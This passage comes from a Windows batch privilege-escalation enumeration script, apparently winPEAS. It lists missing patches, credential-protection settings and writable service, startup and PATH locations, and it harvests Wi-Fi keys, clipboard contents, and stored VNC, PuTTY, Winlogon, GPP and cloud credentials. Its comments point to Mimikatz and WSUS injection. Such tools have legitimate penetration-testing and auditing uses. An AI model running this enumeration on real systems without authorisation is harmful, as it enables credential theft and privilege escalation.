IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB842526" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS04-019 patch is NOT installed! (Vulns: 2K/SP2/3/4-Utility Manager)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB835732" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS04-011 patch is NOT installed! (Vulns: 2K/SP2/3/4,XP/SP0/1-LSASS service BoF)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB841872" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS04-020 patch is NOT installed! (Vulns: 2K/SP4-POSIX)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2975684" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS14-040 patch is NOT installed! (Vulns: 2K3/SP2,2K8/SP2,Vista/SP2,7/SP1-afd.sys Dangling Pointer)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB3136041" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS16-016 patch is NOT installed! (Vulns: 2K8/SP1/2,Vista/SP2,7/SP1-WebDAV to Address)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB3057191" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS15-051 patch is NOT installed! (Vulns: 2K3/SP2,2K8/SP2,Vista/SP2,7/SP1-win32k.sys)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2989935" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS14-070 patch is NOT installed! (Vulns: 2K3/SP2-TCP/IP)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2778930" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS13-005 patch is NOT installed! (Vulns: Vista,7,8,2008,2008R2,2012,RT-hwnd_broadcast)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2850851" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS13-053 patch is NOT installed! (Vulns: 7SP0/SP1_x86-schlamperei)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2870008" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS13-081 patch is NOT installed! (Vulns: 7SP0/SP1_x86-track_popup_menu)
ECHO.
CALL :T_Progress 2
:DateAndTime
CALL :ColorLine " %E%33m[+]%E%97m DATE and TIME"
ECHO. [i] You may need to adjust your local date/time to exploit some vulnerability
date /T
time /T
ECHO.
CALL :T_Progress 2
:AuditSettings
CALL :ColorLine " %E%33m[+]%E%97m Audit Settings"
ECHO. [i] Check what is being logged
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit 2>nul
ECHO.
CALL :T_Progress 1
:WEFSettings
CALL :ColorLine " %E%33m[+]%E%97m WEF Settings"
ECHO. [i] Check where are being sent the logs
REG QUERY HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager 2>nul
ECHO.
CALL :T_Progress 1
:LAPSInstallCheck
CALL :ColorLine " %E%33m[+]%E%97m Legacy Microsoft LAPS installed?"
ECHO. [i] Check what is being logged
REG QUERY "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled 2>nul
ECHO.
CALL :T_Progress 1
:WindowsLAPSInstallCheck
CALL :ColorLine " %E%33m[+]%E%97m Windows LAPS installed?"
ECHO. [i] Check what is being logged: 0x00 Disabled, 0x01 Backup to Entra, 0x02 Backup to Active Directory
REG QUERY "HKEY_LOCAL_MACHINE\Software\Microsoft\Policies\LAPS" /v BackupDirectory 2>nul
REG QUERY "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\LAPS" /v BackupDirectory 2>nul
ECHO.
CALL :T_Progress 1
:LSAProtectionCheck
CALL :ColorLine " %E%33m[+]%E%97m LSA protection?"
ECHO. [i] Active if "1"
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA" /v RunAsPPL 2>nul
CALL :T_Progress 1
:LSACredentialGuard
CALL :ColorLine " %E%33m[+]%E%97m Credential Guard?"
ECHO. [i] Active if "1" or "2"
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA" /v LsaCfgFlags 2>nul
ECHO.
CALL :T_Progress 1
:LogonCredentialsPlainInMemory
CALL :ColorLine " %E%33m[+]%E%97m WDigest?"
ECHO. [i] Plain-text creds in memory if "1"
reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential 2>nul
ECHO.
CALL :T_Progress 1
:CachedCreds
CALL :ColorLine " %E%33m[+]%E%97m Number of cached creds"
ECHO. [i] You need System-rights to extract them
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v CACHEDLOGONSCOUNT 2>nul
CALL :T_Progress 1
:UACSettings
CALL :ColorLine " %E%33m[+]%E%97m UAC Settings"
ECHO. [i] If the results read ENABLELUA REG_DWORD 0x1, part or all of the UAC components are on
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.html#very-basic-uac-bypass-full-file-system-access
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA 2>nul
ECHO.
CALL :T_Progress 1
:AVSettings
CALL :ColorLine " %E%33m[+]%E%97m Registered Anti-Virus(AV)"
where wmic >nul 2>&1
if %errorlevel% equ 0 (
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
) else (
powershell -command "Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct | Select-Object -ExpandProperty displayName"
)
ECHO.Checking for defender whitelisted PATHS
reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" 2>nul
CALL :T_Progress 1
:PSSettings
CALL :ColorLine " %E%33m[+]%E%97m PowerShell settings"
ECHO.PowerShell v2 Version:
REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine /v PowerShellVersion 2>nul
ECHO.PowerShell v5 Version:
REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\3\PowerShellEngine /v PowerShellVersion 2>nul
ECHO.Transcriptions Settings:
REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription 2>nul
ECHO.Module logging settings:
REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging 2>nul
ECHO.Scriptblog logging settings:
REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging 2>nul
ECHO.
ECHO.PS default transcript history
dir %SystemDrive%\transcripts\ 2>nul
ECHO.
ECHO.Checking PS history file
dir "%APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" 2>nul
ECHO.
CALL :T_Progress 3
:MountedDisks
CALL :ColorLine " %E%33m[+]%E%97m MOUNTED DISKS"
ECHO. [i] Maybe you find something interesting
where wmic >nul 2>&1
if %errorlevel% equ 0 (
wmic logicaldisk get caption
) else (
fsutil fsinfo drives
)
ECHO.
CALL :T_Progress 1
:Environment
CALL :ColorLine " %E%33m[+]%E%97m ENVIRONMENT"
ECHO. [i] Interesting information?
ECHO.
set
ECHO.
CALL :T_Progress 1
:InstalledSoftware
CALL :ColorLine " %E%33m[+]%E%97m INSTALLED SOFTWARE"
ECHO. [i] Some weird software? Check for vulnerabilities in unknow software installed
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#applications
ECHO.
dir /b "C:\Program Files" "C:\Program Files (x86)" | sort
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall /s | findstr InstallLocation | findstr ":\\"
reg query HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\ /s | findstr InstallLocation | findstr ":\\"
IF exist C:\Windows\CCM\SCClient.exe ECHO.SCCM is installed (installers are run with SYSTEM privileges, many are vulnerable to DLL Sideloading)
ECHO.
CALL :T_Progress 2
:RemodeDeskCredMgr
CALL :ColorLine " %E%33m[+]%E%97m Remote Desktop Credentials Manager"
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#remote-desktop-credential-manager
IF exist "%LOCALAPPDATA%\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings" ECHO.Found: RDCMan.settings in %AppLocal%\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings, check for credentials in .rdg files
ECHO.
CALL :T_Progress 1
:WSUS
CALL :ColorLine " %E%33m[+]%E%97m WSUS"
ECHO. [i] You can inject 'fake' updates into non-SSL WSUS traffic (WSUXploit)
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#wsus
reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate\ 2>nul | findstr /i "wuserver" | findstr /i "http://"
ECHO.
CALL :T_Progress 1
:RunningProcesses
CALL :ColorLine " %E%33m[+]%E%97m RUNNING PROCESSES"
ECHO. [i] Something unexpected is running? Check for vulnerabilities
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#running-processes
tasklist /SVC
ECHO.
CALL :T_Progress 2
ECHO. [i] Checking file permissions of running processes (File backdooring - maybe the same files start automatically when Administrator logs in)
where wmic >nul 2>&1
if %errorlevel% equ 0 (
for /f "tokens=2 delims='='" %%x in ('wmic process list full ^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('ECHO.%%x') do (
icacls "%%z" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO.
)
)
) else (
for /f "tokens=*" %%x in ('powershell -command "Get-Process | Where-Object {$_.Path -and $_.Path -notlike '*system32*'} | Select-Object -ExpandProperty Path -Unique"') do (
icacls "%%x" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO.
)
)
ECHO.
ECHO. [i] Checking directory permissions of running processes (DLL injection)
where wmic >nul 2>&1
if %errorlevel% equ 0 (
for /f "tokens=2 delims='='" %%x in ('wmic process list full ^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('ECHO.%%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO.
)
) else (
for /f "tokens=*" %%x in ('powershell -command "Get-Process | Where-Object {$_.Path -and $_.Path -notlike '*system32*'} | Select-Object -ExpandProperty Path -Unique"') do (
for /f "delims=" %%d in ("%%~dpx") do icacls "%%d" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO.
)
)
ECHO.
CALL :T_Progress 3
:RunAtStartup
CALL :ColorLine " %E%33m[+]%E%97m RUN AT STARTUP"
ECHO. [i] Check if you can modify any binary that is going to be executed by admin or if you can impersonate a not found binary
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#run-at-startup
::(autorunsc.exe -m -nobanner -a * -ct /accepteula 2>nul || wmic startup get caption,command 2>nul | more & ^
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run 2>nul & ^
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce 2>nul & ^
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run 2>nul & ^
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce 2>nul & ^
CALL :T_Progress 2
icacls "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^
icacls "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\*" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^
icacls "C:\Documents and Settings\%username%\Start Menu\Programs\Startup" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^
icacls "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\*" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^
CALL :T_Progress 2
icacls "%programdata%\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^
icacls "%programdata%\Microsoft\Windows\Start Menu\Programs\Startup\*" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^
icacls "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^
icacls "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\*" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^
CALL :T_Progress 2
schtasks /query /fo TABLE /nh | findstr /v /i "disable deshab informa")
ECHO.
CALL :T_Progress 2
:AlwaysInstallElevated
CALL :ColorLine " %E%33m[+]%E%97m AlwaysInstallElevated?"
ECHO. [i] If '1' then you can install a .msi file with admin privileges ;)
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#alwaysinstallelevated-1
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2> nul
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2> nul
ECHO.
CALL :T_Progress 2
:NetworkShares
CALL :ColorLine "%E%32m[*]%E%97m NETWORK"
CALL :ColorLine " %E%33m[+]%E%97m CURRENT SHARES"
net share
ECHO.
CALL :T_Progress 1
:NetworkInterfaces
CALL :ColorLine " %E%33m[+]%E%97m INTERFACES"
ipconfig /all
ECHO.
CALL :T_Progress 1
:NetworkUsedPorts
CALL :ColorLine " %E%33m[+]%E%97m USED PORTS"
ECHO. [i] Check for services restricted from the outside
netstat -ano | findstr /i listen
ECHO.
CALL :T_Progress 1
:NetworkFirewall
CALL :ColorLine " %E%33m[+]%E%97m FIREWALL"
netsh firewall show state
netsh firewall show config
ECHO.
CALL :T_Progress 2
:ARP
CALL :ColorLine " %E%33m[+]%E%97m ARP"
arp -A
ECHO.
CALL :T_Progress 1
:NetworkRoutes
CALL :ColorLine " %E%33m[+]%E%97m ROUTES"
route print
ECHO.
CALL :T_Progress 1
:WindowsHostsFile
CALL :ColorLine " %E%33m[+]%E%97m Hosts file"
type C:\WINDOWS\System32\drivers\etc\hosts | findstr /v "^#"
CALL :T_Progress 1
:DNSCache
CALL :ColorLine " %E%33m[+]%E%97m DNS CACHE"
ipconfig /displaydns | findstr "Record" | findstr "Name Host"
ECHO.
CALL :T_Progress 1
:WifiCreds
CALL :ColorLine " %E%33m[+]%E%97m WIFI"
for /f "tokens=4 delims=: " %%a in ('netsh wlan show profiles ^| find "Profile "') do (netsh wlan show profiles name=%%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & ECHO.)
CALL :T_Progress 1
:BasicUserInfo
CALL :ColorLine "%E%32m[*]%E%97m BASIC USER INFO
ECHO. [i] Check if you are inside the Administrators group or if you have enabled any token that can be use to escalate privileges like SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#users--groups
ECHO.
CALL :ColorLine " %E%33m[+]%E%97m CURRENT USER"
net user %username%
net user %USERNAME% /domain 2>nul
whoami /all
ECHO.
CALL :T_Progress 2
:BasicUserInfoUsers
CALL :ColorLine " %E%33m[+]%E%97m USERS"
net user
ECHO.
CALL :T_Progress 1
:BasicUserInfoGroups
CALL :ColorLine " %E%33m[+]%E%97m GROUPS"
net localgroup
ECHO.
CALL :T_Progress 1
:BasicUserInfoAdminGroups
CALL :ColorLine " %E%33m[+]%E%97m ADMINISTRATORS GROUPS"
REM seems to be localised
net localgroup Administrators 2>nul
net localgroup Administradores 2>nul
ECHO.
CALL :T_Progress 1
:BasicUserInfoLoggedUser
CALL :ColorLine " %E%33m[+]%E%97m CURRENT LOGGED USERS"
quser
ECHO.
CALL :T_Progress 1
:KerberosTickets
CALL :ColorLine " %E%33m[+]%E%97m Kerberos Tickets"
klist
ECHO.
CALL :T_Progress 1
:CurrentClipboard
CALL :ColorLine " %E%33m[+]%E%97m CURRENT CLIPBOARD"
ECHO. [i] Any passwords inside the clipboard?
powershell -command "Get-Clipboard" 2>nul
ECHO.
CALL :T_Progress 1
:ServiceVulnerabilities
CALL :ColorLine "%E%32m[*]%E%97m SERVICE VULNERABILITIES"
:::sysinternals external tool
::ECHO.
::CALL :ColorLine " %E%33m[+]%E%97m SERVICE PERMISSIONS WITH accesschk.exe FOR 'Authenticated users', Everyone, BUILTIN\Users, Todos and CURRENT USER"
::ECHO. [i] If Authenticated Users have SERVICE_ALL_ACCESS or SERVICE_CHANGE_CONFIG or WRITE_DAC or WRITE_OWNER or GENERIC_WRITE or GENERIC_ALL, you can modify the binary that is going to be executed by the service and start/stop the service
::ECHO. [i] If accesschk.exe is not in PATH, nothing will be found here
::ECHO. [i] AUTHETICATED USERS
::accesschk.exe -uwcqv "Authenticated Users" * /accepteula 2>nul
::ECHO. [i] EVERYONE
::accesschk.exe -uwcqv "Everyone" * /accepteula 2>nul
::ECHO. [i] BUILTIN\Users
::accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
::ECHO. [i] TODOS
::accesschk.exe -uwcqv "Todos" * /accepteula 2>nul
::ECHO. [i] %USERNAME%
::accesschk.exe -uwcqv %username% * /accepteula 2>nul
::ECHO.
::CALL :ColorLine " %E%33m[+]%E%97m SERVICE PERMISSIONS WITH accesschk.exe FOR *"
::ECHO. [i] Check for weird service permissions for unexpected groups"
::accesschk.exe -uwcqv * /accepteula 2>nul
CALL :T_Progress 1
ECHO.
:ServiceBinaryPermissions
CALL :ColorLine " %E%33m[+]%E%97m SERVICE BINARY PERMISSIONS WITH WMIC and ICACLS"
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#services
where wmic >nul 2>&1
if %errorlevel% equ 0 (
for /f "tokens=2 delims='='" %%a in ('cmd.exe /c wmic service list full ^| findstr /i "pathname" ^|findstr /i /v "system32"') do (
for /f eol^=^"^ delims^=^" %%b in ("%%a") do icacls "%%b" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos usuarios %username%" && ECHO.
)
) else (
for /f "tokens=*" %%a in ('powershell -command "Get-CimInstance -ClassName Win32_Service | Where-Object {$_.PathName -and $_.PathName -notlike '*system32*'} | Select-Object -ExpandProperty PathName"') do (
for /f "tokens=1 delims= " %%b in ("%%a") do (
set "svcpath=%%b"
set "svcpath=!svcpath:~1,-1!"
if exist "!svcpath!" icacls "!svcpath!" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos usuarios %username%" && ECHO.
)
)
)
ECHO.
CALL :T_Progress 1
:CheckRegistryModificationAbilities
CALL :ColorLine " %E%33m[+]%E%97m CHECK IF YOU CAN MODIFY ANY SERVICE REGISTRY"
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#services
for /f %%a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv >nul 2>&1 & reg save %%a %temp%\reg.hiv >nul 2>&1 && reg restore %%a %temp%\reg.hiv >nul 2>&1 && ECHO.You can modify %%a
ECHO.
CALL :T_Progress 1
:UnquotedServicePaths
CALL :ColorLine " %E%33m[+]%E%97m UNQUOTED SERVICE PATHS"
ECHO. [i] When the path is not quoted (ex: C:\Program files\soft\new folder\exec.exe) Windows will try to execute first 'C:\Program.exe', then 'C:\Program Files\soft\new.exe' and finally 'C:\Program Files\soft\new folder\exec.exe'. Try to create 'C:\Program Files\soft\new.exe'
ECHO. [i] The permissions are also checked and filtered using icacls
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#services
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
ECHO.%%~s ^| findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (ECHO.%%n && ECHO.%%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && ECHO.
)
)
CALL :T_Progress 2
::wmic service get name,displayname,pathname,startmode | more | findstr /i /v "C:\\Windows\\system32\\" | findstr /i /v """
ECHO.
::CALL :T_Progress 1
:PATHenvHijacking
CALL :ColorLine "%E%32m[*]%E%97m DLL HIJACKING in PATHenv variable"
ECHO. [i] Maybe you can take advantage of modifying/creating some binary in some of the following locations
ECHO. [i] PATH variable entries permissions - place binary or DLL to execute instead of legitimate
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dll-hijacking
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. )
ECHO.
CALL :T_Progress 1
:WindowsCredentials
CALL :ColorLine "%E%32m[*]%E%97m CREDENTIALS"
ECHO.
CALL :ColorLine " %E%33m[+]%E%97m WINDOWS VAULT"
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#credentials-manager--windows-vault
cmdkey /list
ECHO.
CALL :T_Progress 2
:DPAPIMasterKeys
CALL :ColorLine " %E%33m[+]%E%97m DPAPI MASTER KEYS"
ECHO. [i] Use the Mimikatz 'dpapi::masterkey' module with appropriate arguments (/rpc) to decrypt
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dpapi
powershell -command "Get-ChildItem %appdata%\Microsoft\Protect" 2>nul
powershell -command "Get-ChildItem %localappdata%\Microsoft\Protect" 2>nul
CALL :T_Progress 2
CALL :ColorLine " %E%33m[+]%E%97m DPAPI MASTER KEYS"
ECHO. [i] Use the Mimikatz 'dpapi::cred' module with appropriate /masterkey to decrypt
ECHO. [i] You can also extract many DPAPI masterkeys from memory with the Mimikatz 'sekurlsa::dpapi' module
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dpapi
ECHO.
ECHO.Looking inside %appdata%\Microsoft\Credentials\
ECHO.
dir /b/a %appdata%\Microsoft\Credentials\ 2>nul
CALL :T_Progress 2
ECHO.
ECHO.Looking inside %localappdata%\Microsoft\Credentials\
ECHO.
dir /b/a %localappdata%\Microsoft\Credentials\ 2>nul
CALL :T_Progress 2
ECHO.
:UnattendedFiles
CALL :ColorLine " %E%33m[+]%E%97m Unattended files"
IF EXIST %WINDIR%\sysprep\sysprep.xml ECHO.%WINDIR%\sysprep\sysprep.xml exists.
IF EXIST %WINDIR%\sysprep\sysprep.inf ECHO.%WINDIR%\sysprep\sysprep.inf exists.
IF EXIST %WINDIR%\sysprep.inf ECHO.%WINDIR%\sysprep.inf exists.
IF EXIST %WINDIR%\Panther\Unattended.xml ECHO.%WINDIR%\Panther\Unattended.xml exists.
IF EXIST %WINDIR%\Panther\Unattend.xml ECHO.%WINDIR%\Panther\Unattend.xml exists.
IF EXIST %WINDIR%\Panther\Unattend\Unattend.xml ECHO.%WINDIR%\Panther\Unattend\Unattend.xml exists.
IF EXIST %WINDIR%\Panther\Unattend\Unattended.xml ECHO.%WINDIR%\Panther\Unattend\Unattended.xml exists.
IF EXIST %WINDIR%\System32\Sysprep\unattend.xml ECHO.%WINDIR%\System32\Sysprep\unattend.xml exists.
IF EXIST %WINDIR%\System32\Sysprep\unattended.xml ECHO.%WINDIR%\System32\Sysprep\unattended.xml exists.
IF EXIST %WINDIR%\..\unattend.txt ECHO.%WINDIR%\..\unattend.txt exists.
IF EXIST %WINDIR%\..\unattend.inf ECHO.%WINDIR%\..\unattend.inf exists.
ECHO.
CALL :T_Progress 2
:SAMSYSBackups
CALL :ColorLine " %E%33m[+]%E%97m SAM and SYSTEM backups"
IF EXIST %WINDIR%\repair\SAM ECHO.%WINDIR%\repair\SAM exists.
IF EXIST %WINDIR%\System32\config\RegBack\SAM ECHO.%WINDIR%\System32\config\RegBack\SAM exists.
IF EXIST %WINDIR%\System32\config\SAM ECHO.%WINDIR%\System32\config\SAM exists.
IF EXIST %WINDIR%\repair\SYSTEM ECHO.%WINDIR%\repair\SYSTEM exists.
IF EXIST %WINDIR%\System32\config\SYSTEM ECHO.%WINDIR%\System32\config\SYSTEM exists.
IF EXIST %WINDIR%\System32\config\RegBack\SYSTEM ECHO.%WINDIR%\System32\config\RegBack\SYSTEM exists.
ECHO.
CALL :T_Progress 3
:McAffeeSitelist
CALL :ColorLine " %E%33m[+]%E%97m McAffee SiteList.xml"
cd %ProgramFiles% 2>nul
dir /s SiteList.xml 2>nul
cd %ProgramFiles(x86)% 2>nul
dir /s SiteList.xml 2>nul
cd "%windir%\..\Documents and Settings" 2>nul
dir /s SiteList.xml 2>nul
cd %windir%\..\Users 2>nul
dir /s SiteList.xml 2>nul
ECHO.
CALL :T_Progress 2
:GPPPassword
CALL :ColorLine " %E%33m[+]%E%97m GPP Password"
cd "%SystemDrive%\Microsoft\Group Policy\history" 2>nul
dir /s/b Groups.xml == Services.xml == Scheduledtasks.xml == DataSources.xml == Printers.xml == Drives.xml 2>nul
cd "%windir%\..\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history" 2>nul
dir /s/b Groups.xml == Services.xml == Scheduledtasks.xml == DataSources.xml == Printers.xml == Drives.xml 2>nul
ECHO.
CALL :T_Progress 2
:CloudCreds
CALL :ColorLine " %E%33m[+]%E%97m Cloud Credentials"
cd "%SystemDrive%\Users"
dir /s/b .aws == credentials == gcloud == credentials.db == legacy_credentials == access_tokens.db == .azure == accessTokens.json == azureProfile.json 2>nul
cd "%windir%\..\Documents and Settings"
dir /s/b .aws == credentials == gcloud == credentials.db == legacy_credentials == access_tokens.db == .azure == accessTokens.json == azureProfile.json 2>nul
ECHO.
CALL :T_Progress 2
:AppCMD
CALL :ColorLine " %E%33m[+]%E%97m AppCmd"
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#appcmdexe
IF EXIST %systemroot%\system32\inetsrv\appcmd.exe ECHO.%systemroot%\system32\inetsrv\appcmd.exe exists.
ECHO.
CALL :T_Progress 2
:RegFilesCredentials
CALL :ColorLine " %E%33m[+]%E%97m Files in registry that may contain credentials"
ECHO. [i] Searching specific files that may contains credentials.
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#files-and-registry-credentials
ECHO.Looking inside HKCU\Software\ORL\WinVNC3\Password
reg query HKCU\Software\ORL\WinVNC3\Password 2>nul
CALL :T_Progress 2
ECHO.Looking inside HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4/password
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password 2>nul
CALL :T_Progress 2
ECHO.Looking inside HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\WinLogon
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"
CALL :T_Progress 2
ECHO.Looking inside HKLM\SYSTEM\CurrentControlSet\Services\SNMP
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s 2>nul
CALL :T_Progress 2
ECHO.Looking inside HKCU\Software\TightVNC\Server
reg query HKCU\Software\TightVNC\Server 2>nul
CALL :T_Progress 2
ECHO.Looking inside HKCU\Software\SimonTatham\PuTTY\Sessions
reg query HKCU\Software\SimonTatham\PuTTY\Sessions /s 2>nul
CALL :T_Progress 2
ECHO.Looking inside HKCU\Software\OpenSSH\Agent\Keys
CALL :T_Progress 2
reg query HKCU\Software\OpenSSH\Agent\Keys /s 2>nul
cd %USERPROFILE% 2>nul && dir /s/b *password* == *credential* 2>nul
cd ..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..
